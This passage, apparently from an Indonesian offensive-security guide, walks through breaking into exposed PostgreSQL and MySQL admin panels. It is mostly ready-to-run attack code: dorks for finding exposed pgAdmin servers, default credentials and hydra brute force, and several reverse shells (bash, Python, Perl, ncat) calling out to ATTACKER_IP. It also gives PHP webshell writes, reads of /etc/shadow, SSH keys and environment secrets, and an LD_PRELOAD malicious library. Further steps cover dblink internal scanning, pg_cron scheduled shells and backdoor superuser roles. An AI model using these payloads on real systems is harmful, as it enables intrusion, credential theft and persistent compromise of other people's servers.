7-- Password: password (ini default hash dari Laravel factory)Drupal
1-- Drupal 8/9/10 pakai Phpass
2-- Generate: php -r "echo \Drupal\Core\Password\PhpassHashedPassword::hash('hacked123');"
3
4UPDATE users_field_data SET pass = '$S$DxxxxxxHASHxxxxxx' WHERE uid = 1;Custom Application
1-- Cari tipe hash yang dipakai
2SELECT password FROM users LIMIT 1;
3
4-- MD5 (32 char hex)
5UPDATE users SET password = MD5('hacked123') WHERE username = 'admin';
6
7-- SHA256
8UPDATE users SET password = SHA2('hacked123', 256) WHERE username = 'admin';
9
10-- bcrypt ($2y$ prefix)
11-- Perlu generate di luar MySQL
12
13-- Plaintext (ya, masih ada yang begini)
14UPDATE users SET password = 'hacked123' WHERE username = 'admin';4.5 Checklist Ringkasan
Menemukan Adminer/phpMyAdmin
│
├─ 1. Identifikasi versi
│ ├─ Adminer < 4.7.8? → Rogue MySQL file read
│ ├─ Adminer < 4.7.9? → SSRF
│ ├─ phpMyAdmin 4.8.0-4.8.1? → LFI (CVE-2018-12613)
│ └─ phpMyAdmin 4.0-4.6? → RCE (CVE-2016-5734)
│
├─ 2. Login attempt
│ ├─ root:(kosong) di localhost
│ ├─ Default credentials
│ └─ Brute force (hydra)
│
├─ 3. Setelah login → Recon SQL
│ ├─ SHOW DATABASES
│ ├─ SHOW GRANTS
│ ├─ SHOW VARIABLES LIKE 'secure_file_priv'
│ └─ Cari tabel user/credentials
│
├─ 4. Data dump
│ └─ Dump users, tokens, secrets dari semua DB
│
├─ 5. RCE attempt
│ ├─ INTO OUTFILE → webshell
│ ├─ General log trick → webshell
│ └─ UDF → system command
│
├─ 6. Takeover aplikasi web
│ └─ Update password admin di DB → login ke CMS/app
│
└─ 7. Pivot
├─ Credentials reuse → SSH / panel lain
├─ Webshell → reverse shell → privesc
└─ Database replication → server lainBab 5 — PostgreSQL: pgAdmin & Eksploitasi via SQL
Daftar Isi Bab 5
- 5.1 Panel yang Mengekspos PostgreSQL
- 5.2 Menemukan pgAdmin yang Terekspos
- 5.3 Adminer + PostgreSQL
- 5.4 COPY FROM PROGRAM — RCE Langsung
- 5.5 File Read & Write via Large Object
- 5.6 File Read via pg_read_file & pg_ls_dir
- 5.7 RCE via Procedural Languages (plpythonu / plperlu)
- 5.8 Extension Abuse: dblink
- 5.9 Extension Abuse: adminpack & pg_execute_server_program
- 5.10 Privilege Escalation di PostgreSQL
- 5.11 Checklist PostgreSQL
5.1 Panel yang Mengekspos PostgreSQL
PostgreSQL jarang punya panel web bawaan, tapi sering terekspos lewat:
| Panel / Tool | Deskripsi | Default Port |
|---|---|---|
| pgAdmin 4 | Web UI resmi PostgreSQL | 5050 (web), 443 |
| Adminer | Single-file PHP, support PostgreSQL | 80/443 |
| phpPgAdmin | Setara phpMyAdmin untuk PostgreSQL | 80/443 |
| Metabase | BI tool yang connect ke PostgreSQL | 3000 |
| DBeaver Web | Database browser berbasis web | 8978 |
| PostgreSQL direct | Port 5432 terekspos langsung ke internet | 5432 |
Port 5432 langsung terekspos adalah yang paling banyak ditemukan via Shodan — setelah connect, semua teknik di bab ini berlaku.
5.2 Menemukan pgAdmin yang Terekspos
Google Dorks:
intitle:"pgAdmin" inurl:"/browser/"
intitle:"Login - pgAdmin 4"
inurl:"/pgadmin4/" intitle:"pgAdmin"
intitle:"phpPgAdmin" "Welcome"
inurl:"/phppgadmin/" intitle:"phpPgAdmin"Shodan:
1shodan search 'http.title:"pgAdmin 4"'
2shodan search 'http.title:"Login - pgAdmin 4"'
3shodan search 'port:5432 product:"PostgreSQL"'
4shodan search 'port:5432 "PostgreSQL" country:"ID"'FOFA:
title="pgAdmin 4" && country="ID"
title="Login - pgAdmin 4"
port="5432" && banner="PostgreSQL"Nuclei:
1nuclei -u https://target.com -t http/exposed-panels/pgadmin-panel-detect.yaml
2nuclei -l targets.txt -tags pgadmin,postgresqlDefault credentials pgAdmin 4:
admin@pgadmin.org : admin
admin@admin.com : admin
postgres : postgres
postgres : (kosong)
pgadmin : pgadminBrute force pgAdmin 4:
1# pgAdmin 4 pakai JSON API
2hydra -l admin@pgadmin.org -P /usr/share/wordlists/rockyou.txt \
3 target.com http-post-form \
4 "/pgadmin4/authenticate:email=^USER^&password=^PASS^:Incorrect username or password"5.3 Adminer + PostgreSQL
Adminer support PostgreSQL — cara connect:
System: PostgreSQL
Server: localhost (atau 127.0.0.1)
Username: postgres
Password: (coba kosong, postgres, password)
Database: postgres (default)Variasi server yang perlu dicoba:
localhost
127.0.0.1
localhost:5432
/var/run/postgresql ← Unix socket (Debian/Ubuntu)
/tmp ← Unix socket (macOS / custom install)Setelah login, langsung ke SQL panel dan jalankan query-query di section berikutnya.
Cek privilege PostgreSQL:
1-- User yang sedang login
2SELECT current_user, session_user;
3
4-- Apakah superuser?
5SELECT usesuper FROM pg_user WHERE usename = current_user;
6
7-- Semua role yang dimiliki
8SELECT rolname FROM pg_roles
9WHERE pg_has_role(current_user, oid, 'member');
10
11-- Cek apakah bisa execute program (PostgreSQL 11+)
12SELECT has_function_privilege(current_user, 'pg_execute_server_program()', 'execute');5.4 COPY FROM PROGRAM — RCE Langsung
COPY ... FROM PROGRAM adalah fitur bawaan PostgreSQL (sejak versi 9.3) yang mengeksekusi perintah OS dan membaca output-nya ke tabel. Hanya butuh privilege SUPERUSER — tidak butuh extension tambahan.
1-- Buat tabel untuk menampung output command
2CREATE TABLE cmd_output (output TEXT);
3
4-- Eksekusi command OS, hasilnya masuk ke tabel
5COPY cmd_output FROM PROGRAM 'id';
6SELECT * FROM cmd_output;
7-- output: uid=70(postgres) gid=70(postgres) groups=70(postgres)
8
9-- Cleanup
10DROP TABLE cmd_output;Reverse shell via COPY PROGRAM:
1CREATE TABLE shell_out (data TEXT);
2
3-- Bash reverse shell
4COPY shell_out FROM PROGRAM
5 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
6
7-- Alternatif: Python reverse shell (lebih portable)
8COPY shell_out FROM PROGRAM
9 $$python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])"$$;
10
11-- Alternatif: ncat
12COPY shell_out FROM PROGRAM 'ncat ATTACKER_IP 4444 -e /bin/bash';Membaca file sensitif via COPY PROGRAM:
1CREATE TABLE file_read (line TEXT);
2COPY file_read FROM PROGRAM 'cat /etc/passwd';
3SELECT * FROM file_read;
4DROP TABLE file_read;
5
6-- Membaca private key
7CREATE TABLE key_read (line TEXT);
8COPY key_read FROM PROGRAM 'cat /root/.ssh/id_rsa';
9SELECT * FROM key_read;Menulis file (webshell) via COPY PROGRAM:
1-- Tulis webshell PHP ke webroot
2COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
3
4-- Alternatif via PROGRAM (lebih fleksibel, bisa ke path apapun)
5COPY (SELECT '') FROM PROGRAM
6 $$bash -c "echo '<?php system(\$_GET[\"cmd\"]); ?>' > /var/www/html/pg_shell.php"$$;Catatan penting:
COPY ... TO(tanpa PROGRAM) menulis langsung ke file system sebagai userpostgres.COPY ... FROM PROGRAMmenjalankan command sebagai userpostgres. Keduanya butuh SUPERUSER.
One-liner untuk testing di psql / pgAdmin SQL editor:
1-- Quick RCE test (tanpa buat tabel)
2DO $$
3DECLARE result TEXT;
4BEGIN
5 COPY (SELECT 1) TO PROGRAM 'id > /tmp/pg_rce_test.txt';
6END$$;
7
8-- Baca hasilnya
9CREATE TABLE t (x TEXT);
10COPY t FROM '/tmp/pg_rce_test.txt';
11SELECT * FROM t;
12DROP TABLE t;5.5 File Read & Write via Large Object
Large Object (LO) adalah mekanisme PostgreSQL untuk menyimpan data biner besar. Fungsi lo_import dan lo_export bisa baca/tulis file sistem — butuh SUPERUSER.
Baca file via lo_import:
1-- Import file dari filesystem ke database (sebagai Large Object)
2SELECT lo_import('/etc/passwd');
3-- Mengembalikan OID, misalnya: 24601
4
5-- Baca isi Large Object tersebut
6SELECT encode(data, 'escape') FROM pg_largeobject WHERE loid = 24601;
7
8-- Atau baca sebagai text
9SELECT convert_from(lo_get(24601), 'UTF8');
10
11-- File sensitif yang menarik
12SELECT lo_import('/etc/shadow');
13SELECT lo_import('/root/.ssh/id_rsa');
14SELECT lo_import('/var/lib/postgresql/.pgpass');
15SELECT lo_import('/etc/postgresql/14/main/pg_hba.conf');
16SELECT lo_import('/proc/self/environ');Baca file lebih bersih (satu query):
1-- Baca file, ambil isi, hapus LO — semuanya dalam satu transaksi
2DO $$
3DECLARE
4 loid oid;
5 content bytea;
6BEGIN
7 loid := lo_import('/etc/passwd');
8 content := lo_get(loid);
9 RAISE NOTICE '%', convert_from(content, 'UTF8');
10 PERFORM lo_unlink(loid);
11END$$;Tulis file via lo_export:
1-- Buat Large Object berisi payload
2SELECT lo_create(1337);
3INSERT INTO pg_largeobject (loid, pageno, data)
4 VALUES (1337, 0, decode('3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e', 'hex'));
5 -- <?php system($_GET["cmd"]); ?>
6
7-- Export ke filesystem
8SELECT lo_export(1337, '/var/www/html/pg_shell.php');
9
10-- Cleanup
11SELECT lo_unlink(1337);Tulis arbitrary file — helper function:
1-- Buat fungsi helper untuk menulis file lebih mudah
2CREATE OR REPLACE FUNCTION write_file(path TEXT, content TEXT)
3RETURNS void AS $$
4DECLARE loid oid;
5BEGIN
6 loid := lo_create(0);
7 PERFORM lowrite(lo_open(loid, 131072), convert_to(content, 'UTF8'));
8 PERFORM lo_export(loid, path);
9 PERFORM lo_unlink(loid);
10END$$ LANGUAGE plpgsql;
11
12-- Gunakan
13SELECT write_file('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>');
14SELECT write_file('/root/.ssh/authorized_keys', 'ssh-rsa AAAA...your-key...');Catatan ukuran LO: Satu pg_largeobject page = 2KB. File besar perlu di-insert per page:
1-- Insert file besar (misal binary): split per 2048 bytes
2-- Biasanya cukup gunakan lo_import/lo_export saja untuk file lokal5.6 File Read via pg_read_file & pg_ls_dir
Fungsi-fungsi ini bawaan PostgreSQL, tidak butuh extension, tapi perlu SUPERUSER atau role pg_read_server_files (PostgreSQL 11+).
Baca file:
1-- pg_read_file: baca text file (path relatif ke data directory)
2SELECT pg_read_file('pg_hba.conf');
3SELECT pg_read_file('postgresql.conf');
4SELECT pg_read_file('PG_VERSION');
5
6-- Baca file dengan path absolut (PostgreSQL 9.4+)
7SELECT pg_read_file('/etc/passwd');
8SELECT pg_read_file('/etc/postgresql/14/main/pg_hba.conf');
9SELECT pg_read_file('/var/lib/postgresql/.pgpass');
10SELECT pg_read_file('/proc/self/environ');
11
12-- Baca dengan offset dan limit (byte)
13SELECT pg_read_file('/etc/passwd', 0, 4096);Baca file binary:
1-- pg_read_binary_file: baca raw bytes
2SELECT pg_read_binary_file('/etc/passwd');
3
4-- Decode ke text
5SELECT encode(pg_read_binary_file('/etc/passwd'), 'escape');
6
7-- Baca SSH private key (binary safe)
8SELECT encode(pg_read_binary_file('/root/.ssh/id_rsa'), 'escape');List direktori:
1-- List isi direktori
2SELECT pg_ls_dir('/etc/postgresql/');
3SELECT pg_ls_dir('/var/lib/postgresql/');
4SELECT pg_ls_dir('/root/');
5SELECT pg_ls_dir('/home/');
6
7-- List dengan detail (PostgreSQL 10+)
8SELECT * FROM pg_ls_dir('/var/www/html') AS filename;
9
10-- List data directory PostgreSQL
11SELECT * FROM pg_ls_waldir(); -- WAL files
12SELECT * FROM pg_ls_logdir(); -- Log files
13SELECT * FROM pg_ls_tmpdir(); -- Temp filesMapping: role pg_read_server_files (non-superuser):
1-- PostgreSQL 11+ — role predefined untuk read file tanpa full superuser
2GRANT pg_read_server_files TO targetuser;
3
4-- Setelah grant, user tersebut bisa:
5SELECT pg_read_file('/etc/passwd');
6SELECT * FROM pg_ls_dir('/var/www/html');5.7 RCE via Procedural Languages (plpythonu / plperlu)
PostgreSQL support untrusted procedural languages yang bisa eksekusi kode OS langsung dari function. Butuh SUPERUSER untuk install dan create function.
plpythonu (Python)
1-- Cek apakah plpythonu tersedia
2SELECT * FROM pg_available_extensions WHERE name LIKE 'plpython%';
3
4-- Install (butuh superuser)
5CREATE EXTENSION plpython3u;
6-- atau versi Python 2: CREATE EXTENSION plpythonu;
7
8-- Buat function yang eksekusi OS command
9CREATE OR REPLACE FUNCTION os_cmd(cmd TEXT)
10RETURNS TEXT AS $$
11import subprocess
12return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode()
13$$ LANGUAGE plpython3u;
14
15-- Eksekusi
16SELECT os_cmd('id');
17SELECT os_cmd('cat /etc/passwd');
18SELECT os_cmd('cat /root/.ssh/id_rsa');
19
20-- Reverse shell
21SELECT os_cmd('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &');
22
23-- Tulis webshell
24SELECT os_cmd('echo "<?php system(\$_GET[chr(99).chr(109).chr(100)]); ?>" > /var/www/html/py_shell.php');Import modul untuk operasi lebih lanjut:
1CREATE OR REPLACE FUNCTION read_file(path TEXT)
2RETURNS TEXT AS $$
3with open(path, 'r') as f:
4 return f.read()
5$$ LANGUAGE plpython3u;
6
7CREATE OR REPLACE FUNCTION write_file(path TEXT, content TEXT)
8RETURNS void AS $$
9with open(path, 'w') as f:
10 f.write(content)
11$$ LANGUAGE plpython3u;
12
13SELECT read_file('/etc/shadow');
14SELECT write_file('/root/.ssh/authorized_keys', 'ssh-rsa AAAA...your-key...');plperl — %ENV Manipulation (Trusted, Non-Superuser)
plperl adalah versi trusted — non-superuser bisa CREATE FUNCTION tanpa butuh superuser grant. Tidak bisa eksekusi OS command langsung, tapi bisa manipulasi %ENV (environment variable proses postgres).
1-- Tidak butuh superuser untuk create function ini
2CREATE OR REPLACE FUNCTION set_env(varname TEXT, val TEXT)
3RETURNS void AS $$
4 $ENV{$_[0]} = $_[1];
5$$ LANGUAGE plperl;Privilege escalation via LD_PRELOAD + COPY PROGRAM:
1-- Step 1: Set LD_PRELOAD ke shared library milik attacker
2-- (library harus sudah ada di filesystem, bisa via lo_export atau COPY TO)
3SELECT set_env('LD_PRELOAD', '/tmp/evil.so');
4
5-- Step 2: Trigger eksekusi proses anak — proses ini load LD_PRELOAD
6-- Butuh superuser untuk COPY PROGRAM, tapi LD_PRELOAD sudah di-set
7COPY (SELECT 1) TO PROGRAM 'id';
8-- → proses 'id' di-spawn, load /tmp/evil.so → arbitrary code execution
9
10-- Teknik lain: set PATH ke direktori yang dikontrol attacker
11SELECT set_env('PATH', '/tmp:' || current_setting('data_directory'));
12-- Buat binary palsu di /tmp dengan nama yang sama (misal 'pg_dumpall')
13-- Saat postgres spawn proses dengan nama itu → jalankan binary kitaContoh evil.so (template):
1// evil.c — compile: gcc -shared -fPIC -o /tmp/evil.so evil.c
2#include <stdlib.h>
3__attribute__((constructor)) void pwn() {
4 system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
5}Upload via lo_export atau COPY ... TO, lalu trigger via COPY PROGRAM.
Cek apakah plperl (trusted) tersedia:
1-- plperl trusted = bisa dipakai non-superuser
2SELECT lanname, lanpltrusted FROM pg_language WHERE lanname = 'plperl';
3-- plperl | t ← trusted
4
5-- Cek apakah user punya privilege untuk create plperl function
6SELECT has_language_privilege(current_user, 'plperl', 'USAGE');plperlu (Perl — Untrusted)
1-- Butuh superuser
2CREATE EXTENSION plperlu;
3
4-- OS command execution langsung
5CREATE OR REPLACE FUNCTION perl_cmd(cmd TEXT)
6RETURNS TEXT AS $$
7 my $out = `$_[0]`;
8 return $out;
9$$ LANGUAGE plperlu;
10
11SELECT perl_cmd('id');
12SELECT perl_cmd('uname -a');
13
14-- Reverse shell via Perl
15CREATE OR REPLACE FUNCTION perl_revshell()
16RETURNS void AS $$
17 use Socket;
18 socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
19 connect(S, sockaddr_in(4444, inet_aton("ATTACKER_IP")));
20 open(STDIN, ">&S"); open(STDOUT, ">&S"); open(STDERR, ">&S");
21 exec("/bin/sh -i");
22$$ LANGUAGE plperlu;
23
24SELECT perl_revshell();plsh (Shell — via extension tambahan)
1-- Jika extension plsh terinstall (tidak default)
2CREATE EXTENSION plsh;
3
4CREATE OR REPLACE FUNCTION shell_exec(cmd TEXT)
5RETURNS TEXT AS $$
6 exec $1
7$$ LANGUAGE plsh;
8
9SELECT shell_exec('id');Cek language yang sudah terinstall:
1SELECT lanname, lanpltrusted FROM pg_language;
2-- plpgsql | t (trusted, default)
3-- plpython3u | f (untrusted, butuh superuser)
4-- plperlu | f (untrusted, butuh superuser)
5-- plsh | f (untrusted, butuh superuser)5.8 Extension Abuse: dblink
dblink adalah extension bawaan PostgreSQL untuk koneksi antar database. Bisa dipakai untuk lateral movement ke PostgreSQL instance lain, atau bypass firewall internal.
1-- Install (butuh superuser)
2CREATE EXTENSION dblink;
3
4-- Test koneksi ke PostgreSQL lain
5SELECT * FROM dblink(
6 'host=internal-db-host port=5432 dbname=postgres user=postgres password=postgres',
7 'SELECT version()'
8) AS t(version TEXT);
9
10-- Eksekusi query di remote DB
11SELECT * FROM dblink(
12 'host=192.168.1.100 dbname=app_db user=app_user password=app_pass',
13 'SELECT username, password FROM users LIMIT 10'
14) AS t(username TEXT, password TEXT);
15
16-- Jika remote DB-nya juga superuser → COPY PROGRAM di remote
17SELECT dblink_exec(
18 'host=192.168.1.100 dbname=postgres user=postgres password=postgres',
19 'COPY (SELECT 1) TO PROGRAM ''id > /tmp/rce.txt'''
20);Brute force koneksi ke PostgreSQL internal via dblink:
1-- Test apakah ada PostgreSQL di host internal
2SELECT * FROM dblink(
3 'host=172.16.0.1 port=5432 dbname=postgres user=postgres password=postgres connect_timeout=3',
4 'SELECT 1'
5) AS t(result INT);
6
7-- Scan range IP (satu-satu, atau buat loop di PL/pgSQL)
8DO $$
9DECLARE
10 ip TEXT;
11 result TEXT;
12BEGIN
13 FOREACH ip IN ARRAY ARRAY['172.16.0.1','172.16.0.2','172.16.0.10','10.0.0.1'] LOOP
14 BEGIN
15 SELECT INTO result (
16 SELECT x FROM dblink(
17 format('host=%s port=5432 dbname=postgres user=postgres password=postgres connect_timeout=2', ip),
18 'SELECT ''open'''
19 ) AS t(x TEXT)
20 );
21 RAISE NOTICE 'Host % is OPEN', ip;
22 EXCEPTION WHEN others THEN
23 RAISE NOTICE 'Host % CLOSED or AUTH FAILED: %', ip, SQLERRM;
24 END;
25 END LOOP;
26END$$;Akses metadata cloud via dblink (SSRF):
1-- Jika PostgreSQL di cloud (AWS/GCP) — coba akses metadata
2-- Ini tidak langsung, tapi via dblink ke host yang bisa akses internal
3SELECT * FROM dblink(
4 'host=169.254.169.254 port=80 dbname=latest connect_timeout=3',
5 'SELECT 1'
6) AS t(r TEXT);5.9 Extension Abuse: adminpack & pg_execute_server_program
adminpack
Extension adminpack menambahkan fungsi admin tingkat sistem — tersedia di PostgreSQL default.
1CREATE EXTENSION adminpack;
2
3-- Tulis file (superuser only)
4SELECT pg_file_write('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>', false);
5-- Parameter ketiga: false = create, true = append
6
7-- Baca file
8SELECT pg_file_read('/etc/passwd', 0, 10000);
9
10-- Rename file
11SELECT pg_file_rename('/tmp/payload.so', '/usr/lib/postgresql/14/lib/evil.so');
12
13-- Unlink (hapus) file
14SELECT pg_file_unlink('/tmp/evil_file');pg_execute_server_program (PostgreSQL 11+)
Role predefined yang memungkinkan user non-superuser menjalankan COPY ... FROM PROGRAM:
1-- Grant role ini ke user target (butuh superuser untuk grant)
2GRANT pg_execute_server_program TO targetuser;
3
4-- Setelah itu, targetuser bisa:
5COPY cmd_output FROM PROGRAM 'id';pg_filenode_relation
1-- Mapping OID → nama tabel (berguna untuk navigasi internal)
2SELECT pg_filenode_relation(0, 1259); -- pg_classExtension lain yang berguna setelah akses:**
1-- List semua extension yang tersedia (bisa diinstall)
2SELECT name, default_version, comment
3FROM pg_available_extensions
4ORDER BY name;
5
6-- Extension yang sudah terinstall
7SELECT extname, extversion FROM pg_extension;
8
9-- Extension berbahaya yang perlu dicek:
10-- plpython3u, plperlu, plsh → RCE
11-- dblink → lateral movement
12-- adminpack → file write/read
13-- pg_cron → schedule command (PostgreSQL 10+)
14-- http → HTTP request dari dalam DB (SSRF)Abuse pg_cron (jika terinstall):
1-- pg_cron tidak bisa langsung execute COPY statement (SPI limitation)
2-- Harus dibungkus dalam PL/pgSQL function dulu
3
4-- Step 1: Buat helper function
5CREATE OR REPLACE FUNCTION run_cmd(cmd TEXT) RETURNS void AS $$
6BEGIN
7 EXECUTE 'COPY (SELECT 1) TO PROGRAM ' || quote_literal(cmd);
8END$$ LANGUAGE plpgsql SECURITY DEFINER;
9
10-- Step 2: Schedule function tersebut
11SELECT cron.schedule('rce-job', '* * * * *',
12 $$SELECT run_cmd('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"')$$
13);
14
15-- Alternatif: jika os_cmd() dari plpython3u sudah dibuat (section 5.7)
16SELECT cron.schedule('rce-job', '* * * * *',
17 $$SELECT os_cmd('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')$$
18);
19
20-- Hapus job setelah berhasil
21SELECT cron.unschedule('rce-job');5.10 Privilege Escalation di PostgreSQL
Dari user biasa ke superuser
1-- Cek semua user dan role
2SELECT usename, usesuper, usecreaterole, usecreatedb
3FROM pg_user ORDER BY usesuper DESC;
4
5-- Cek password hash (butuh akses pg_shadow — superuser only)
6SELECT usename, passwd FROM pg_shadow;
7-- Hash format: md5<md5(password + username)>
8-- Crack: hashcat -m 11100 'md5hash' wordlist.txt
9
10-- Jika punya CREATEROLE tapi bukan superuser:
11-- Buat user baru dengan superuser
12CREATE ROLE evil_super SUPERUSER LOGIN PASSWORD 'evil123';
13
14-- Atau grant superuser ke diri sendiri (butuh CREATEROLE)
15ALTER ROLE current_user SUPERUSER; -- biasanya ditolakEscalasi via trusted procedural language:
1-- plpgsql adalah trusted language — bisa dipakai user biasa
2-- Tapi tidak bisa langsung RCE via plpgsql
3
4-- Jika ada function SECURITY DEFINER milik superuser yang bisa dimanipulasi:
5SELECT proname, prosecdef, proowner::regrole
6FROM pg_proc
7WHERE prosecdef = true;
8-- prosecdef = SECURITY DEFINER → function ini jalan sebagai ownernya
9
10-- Jika function SECURITY DEFINER milik superuser menerima input yang bisa di-inject:
11-- → SQL injection di dalam function → privilege escalationEscalasi via pg_hba.conf misconfig:
1-- Baca pg_hba.conf
2SELECT pg_read_file('pg_hba.conf');
3
4-- Jika ada baris "trust" untuk method auth → connect tanpa password
5-- host all all 127.0.0.1/32 trust
6-- → Dari server yang sama, connect sebagai postgres tanpa passwordEscalasi via .pgpass:
1-- .pgpass menyimpan password untuk koneksi otomatis
2SELECT pg_read_file('/var/lib/postgresql/.pgpass');
3SELECT pg_read_binary_file('/root/.pgpass');
4-- Format: hostname:port:database:username:passwordMencuri token environment / credential dari proses:
1-- Baca environment variable proses postgres
2-- Pakai 'strings' — tidak ada quoting masalah, bekerja di Adminer
3CREATE TABLE env_dump (line TEXT);
4COPY env_dump FROM PROGRAM 'strings /proc/self/environ';
5SELECT * FROM env_dump;
6DROP TABLE env_dump;
7
8-- Alternatif: tr dengan octal (tidak butuh single quote di dalam SQL string)
9COPY env_dump FROM PROGRAM 'cat /proc/self/environ | tr "\000" "\n"';
10
11-- Cari AWS credentials, token, dll
12-- Double quote di dalam SQL single-quoted string = aman
13COPY env_dump FROM PROGRAM 'env | grep -iE "AWS|SECRET|TOKEN|KEY|PASS"';Catatan Adminer: Adminer tidak support PostgreSQL dollar-quoting (
$$). Hindari$$— gunakan single-quoted string biasa dengan double quote (") untuk argumen shell yang butuh quoting.
5.11 Checklist PostgreSQL
Menemukan PostgreSQL (pgAdmin / Adminer / port 5432)
│
├─ 1. Cek privilege
│ ├─ SELECT usesuper FROM pg_user WHERE usename = current_user;
│ ├─ Apakah superuser? → lanjut ke semua teknik
│ └─ Bukan superuser? → cek CREATEROLE, pg_read_server_files, pg_execute_server_program
│
├─ 2. RCE (butuh SUPERUSER)
│ ├─ COPY FROM PROGRAM 'id' ← paling mudah
│ ├─ CREATE EXTENSION plpython3u → os_cmd() ← butuh plpython terinstall
│ ├─ CREATE EXTENSION plperlu → perl_cmd() ← butuh plperl terinstall
│ └─ pg_cron + COPY PROGRAM ← jika pg_cron ada
│
├─ 3. File Read
│ ├─ pg_read_file('/etc/passwd') ← paling simpel
│ ├─ COPY t FROM '/etc/shadow' ← via COPY
│ ├─ lo_import('/root/.ssh/id_rsa') ← Large Object
│ └─ COPY t FROM PROGRAM 'cat /path/file' ← via PROGRAM
│
├─ 4. File Write
│ ├─ COPY (SELECT payload) TO '/var/www/shell.php'
│ ├─ pg_file_write() via adminpack
│ ├─ lo_export() via Large Object
│ └─ COPY FROM PROGRAM 'echo payload > /path' ← via shell redirect
│
├─ 5. Lateral Movement
│ ├─ dblink → koneksi ke PostgreSQL internal lain
│ ├─ .pgpass → password tersimpan
│ └─ pg_shadow → crack hash password user lain
│
├─ 6. Data Dump
│ ├─ \dt → list semua tabel
│ ├─ SELECT * FROM information_schema.tables
│ ├─ Dump users, tokens, secrets
│ └─ pg_dump (via COPY PROGRAM)
│
└─ 7. Persistence
├─ CREATE ROLE backdoor SUPERUSER LOGIN PASSWORD 'x';
├─ Tambah SSH key via write_file ke authorized_keys
└─ pg_cron → scheduled reverse shellQuick Reference — Metode berdasarkan kondisi:
| Kondisi | Metode RCE | Metode File Read |
|---|---|---|
| Superuser | COPY FROM PROGRAM | pg_read_file, lo_import, COPY FROM |
| pg_execute_server_program | COPY FROM PROGRAM | — |
| pg_read_server_files | — | pg_read_file, COPY FROM file |
| CREATEROLE | Buat superuser baru | — |
| plpython3u terinstall | CREATE FUNCTION os_cmd() | read_file() via Python |
| plperlu terinstall | CREATE FUNCTION perl_cmd() | baca file via Perl |
| dblink terinstall | COPY PROGRAM di remote DB | Baca file di remote DB |
| adminpack terinstall | — | pg_file_read(), pg_file_write() |